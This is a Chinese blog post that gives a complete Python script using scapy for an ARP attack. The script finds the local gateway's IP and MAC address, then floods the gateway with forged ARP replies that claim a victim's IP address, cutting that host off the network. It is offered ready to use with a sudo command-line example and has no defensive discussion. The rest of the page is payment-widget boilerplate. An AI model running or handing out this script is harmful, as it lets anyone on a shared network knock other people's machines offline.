arp攻击 python_python 实现ARP攻击

注:使用这个脚本需要安装scapy 包

最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

1 #coding:utf-8

2 #example :sudo python arp_dos.py 192.168.1.103

3

4 from scapy.all import ARP,send

5 import os,re,sys

6

7 def get_gateway_ip():

8 t=os.popen('route -n')

9 for i in t:

10 if i.startswith('0.0.0.0'):

11 r=re.split("\s+",i)

12 return r[1]

13

14 def get_gateway_hw(ip):

15 t=os.popen('arp -e %s' % ip)

16 for i in t:

17 if i.startswith(ip):

18 r=re.split("\s+",i)

19 return r[2]

20

21 def hack(hackip):

22 ip=get_gateway_ip()

23 hw=get_gateway_hw(ip)

24 arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)

25 #os.popen('ifconfig eth0 %s' % hackip )

26 while 1:

27 send(arp)

28

29 def help():

30 print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

31

32 def main():

33 if len(sys.argv) != 2:

34 help()

35 else:

36 hack(sys.argv[1])

37 if __name__=="__main__":

38 main()

来源:https://www.cnblogs.com/tk091/p/3391271.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值